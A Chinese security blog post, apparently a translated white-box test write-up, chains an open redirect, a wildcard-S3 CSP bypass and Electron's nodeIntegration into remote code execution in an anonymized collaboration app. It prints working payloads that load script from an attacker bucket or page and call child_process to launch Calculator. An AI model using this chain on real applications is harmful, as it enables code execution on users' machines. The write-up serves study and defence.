对Electron架构应用程序进行白盒安全测试,通过开放重定向跳转漏洞,提权到远程代码执行漏洞(RCE)。
摘要:在对Electron架构应用程序进行的白盒安全测试中,通过该应用程序中的一个开放的重定向跳转漏洞,并在调试功能的帮助下,提权了远程代码执行漏洞(RCE)。
本文在对Electron架构应用程序进行的白盒安全测试中,通过该应用程序中的一个开放的重定向跳转漏洞,并在调试功能的帮助下,提权了远程代码执行漏洞(RCE)。(出于保密原因,其中显示的代码示例是匿名的)
Node.js现在已经成为流行的开发环境。 React,React Native和Electron等框架都使用Node.js。开发人员可以轻松地使用它为移动和本地平台构建客户端应用程序。由于Node.js是异步驱动的javascript机制,因此客户端应用程序也可以说是环境应用程序的简化版本。
但是,所有便利都会在以后带来安全风险。将路径和模板方法转移到客户的前端方法,可以使攻击者轻松发现一些有用的API端点或未混淆的编码数据信息。
对于本地桌面应用程序,如果是Electron架构,则调试和反编译过程相对简单。无需直接使用专业的反编译器软件(例如Ghidra/Radare2/Ida),只需使用Electron内置的Chromium开发工具即可。另外,由于在Electron文档中建议使用asar包装方法,因此解包也可以像tar一样简单。
攻击者可以使用目标应用程序的Electron架构的源代码来探索其中的客户端漏洞,然后实施提权以进一步形成代码执行漏洞。在这里,不需要使用流行的缓冲区溢出,只需使用Electron内置的nodeIntegration问题,就可以实现从XSS漏洞到弹出的本地系统计算器程序calc RCE升级。
白盒测试中发现的漏洞
刚巧手头有一个Electron架构应用程序,立即将其安装在MacOS上并计划进行深入测试。首先使用以下步骤来提取应用程序的源代码:
1.访问Application文件夹;
2.右键单击该应用程序,然后选择“Show Package Contents”;
3.输入包含打包文件app.asar的Contents目录;
4.然后运行命令npx asar extract app.asar source(已安装应用程序中的Node);
5.可以在新生成的源文件夹中查看反编译的源代码。
发现存在安全风险的配置问题
在检查package.json文件时,从“ main”:“ app / index.js”配置文件中,发现该应用程序的主程序是由index.js启动的。对文件index.js的进一步检查发现,nodeIntegration设置为默认值true,它可以支持大多数BrowserWindow模块实例和Node.js的使用,这意味着可以使用它将恶意JS脚本升级为本地代码执行。由于nodeIntegration是默认值为true,因此窗口实例中的JS脚本可以访问本地Node.js函数(例如require)或导入危险模块(例如child_process)。最后,使用以下方法将导致诸如From Markdown to RCE in Atom这样的经典计算器calc的弹出情况:
require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})
XSS漏洞尝试
需要做的下一件事是找到一个XSS点。由于测试的目标应用程序是跨平台协作工具软件,与Slack或Zoom等应用程序有些相似,因此存在许多用户输入点,例如消息输入或共享文件上传。之后,从electron . --proxy-server=127.0.0.1:8080形式的源代码开始了该应用程序。然后将其流量代理到BurpSuite。
然后,使用<b>pwned</b>方法在每个输入点测试HTML的Payload。一段时间后,发现了一个可疑的XSS点,但是奇怪的是,使用了Payload的标准形式,例如<script>alert()</script>或 <svg onload=alert()>无法有效触发。这似乎需要调试。
绕过CSP策略
通常,可以使用F12或Ctrl Shift I的快捷键来访问应用程序的Electron架构中的DevTools,但是尝试了一下,这些快捷键均无效。似乎该应用程序删除了快捷键设置。之后从源代码中搜索了电子快捷键设置模块globalShortcut,发现以下配置:
electron.globalShortcut.register('CommandOrControl+H', () => {
activateDevMenu();
});
原来,该应用程序设置了自己的快捷键来打开菜单,输入CMD H,在菜单栏中弹出了一个开发者工具,其中包含许多选项,例如Update和Callback,但更重要的是, 也有DevTools选项!立即打开了它的DevTools选项,以测试以前的XSS Payload。然后从DevTools控制台提示消息中发现,以前的标准XSS Payload失败的原因是CSP策略限制。该应用程序的CSP策略包括几个列入白名单的URL:
Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdn.heapanalytics.com https://heapanalytics.com https://*.s3.amazonaws.com https://fast.appcues.com https://*.firebaseio.com
此CSP策略排除了unsafe-inline规则,并阻止了事件处理操作,例如svg。而且,由于构造的Payload以JS形式动态注入到页面中,因此<script>之类的通用标签当然会被CSP阻止。但是,CSP策略有一个致命错误:它允许包含输入通配形式(wildcard)的URL!因此,使用https://*.s3.amazonaws.com这样的URL,可以将脚本代码包含在自己的S3存储桶中。在这里,参照Intigriti's Easter XSS challenge项目,使用了包含iframe属性srcdoc的一个小技巧:
<iframe srcdoc='<script src=https://myeviljsbucket.s3.amazonaws.com/evilscript.js></script>'></iframe>
使用这种方法成功获得了XSS的alert提示框!然后,将S3存储桶中的evilscript.js修改为:
window.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})
运行后,什么都没有了,让我们仔细看一下。
分析require函数
回到DevTools控制台,发现了错误:Uncaught TypeError: window.require is not a function,这有点令人困惑,因为在nodeIntegration设置为true之后,window方法可以像require一样调用Node.js函数。再次回到源代码,发现以下代码用于创建BrowserWindow:
const appWindow = createWindow('main', {
width: 1080,
height: 660,
webPreferences: {
nodeIntegration: true,
preload: path.join(__dirname, 'preload.js')
},
});
再次检查preload.js文件,发现其功能如下:
window.nodeRequire = require;
delete window.require;
delete window.exports;
delete window.module;
事实证明,目标应用程序按预加载顺序重命名并删除了原始的相关require函数。这是Electron在调用外部JS库(例如AngularJS)时进行的设置。此时,需要更改某些具有相同名称的变量名称。就像之前发现的漏洞一样,不正确的配置总是会导致安全问题。在这里,启用的nodeIntegration配置和重命名的require函数使代码执行成为可能。
经过微调后,使用window.parent.nodeRequire构造了XSS Payload。发送请求后得到了预期的计算器弹窗calc!
测试代码执行(Code Excution)
实际上,在对目标应用程序进行代码审查之前,我在其Web应用程序中发现了一个开放重定向漏洞:
https://collabapplication.com/redirect.jsp?next=//evil.com
在安装了Slack或Zoom应用程序的系统中,如果浏览器打开了诸如zoom.us之类的链接,则它将运行以打开系统中的Zoom程序:
原因是浏览器打开的链接都是某些应用程序注册的特定格式的所有URL。例如,Zoom已注册了一种称为zoommtg的特定URL格式,因此,如果系统上安装了Zoom,请在浏览器中将其打开:
zoommtg://zoom.us/start?confno=123456789&pwd=xxxx
之后,它将触发Zoom程序运行。接下来,经过分析,在下面的源代码功能中发现测试的应用程序具有与上述类似的功能。只要在浏览器中打开特定页面,就会触发应用程序的协作过程:
function isWhitelistedDomain(url) { var allowed = ['collabapplication.com']; var test = extractDomain(url); if( allowed.indexOf(test) > -1 ) { return true; } return false; }; let launchURL = parseLaunchURL(fullURL) if isWhitelistedDomain(launchURL) { appWindow.loadURL(launchURL) } else { appWindow.loadURL(homeURL) }
上面的代码可以解释如下:该应用程序具有特定格式的URL,名称为collabapp://collabapplication.com?meetingno=123&pwd=abc。从该URL启动应用程序时,该URL将传递到launch过程,launch进程会从collabapp://后判断域名是否为collabapplication.com,如果是,则URL为已加载。
白名单检查是正确的,但它的安全性很脆弱,因为collabapplication.com中存在一个开放重定向漏洞,该漏洞可以迫使应用程序加载任意URL,再加上nodeIntegration的默认开放漏洞,完全可以加载该URL的应用程序并跳转到攻击者控制的恶意页面,然后通过window.parent.nodeRequire(...)实现代码执行。
最终构造的Payload如下:
collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html
在evil.html中,输入以下代码命令: window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})
使用此Payload,一旦受害者单击攻击者构建的恶意页面,计算器程序calc将自动弹出,从而实现RCE提权!
相关热词搜索:Electron 白盒安全测试 重定向跳转漏洞 远程代码执行漏洞 RCE
上一篇:漏洞复现分析之通达OA
下一篇:最后一页
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了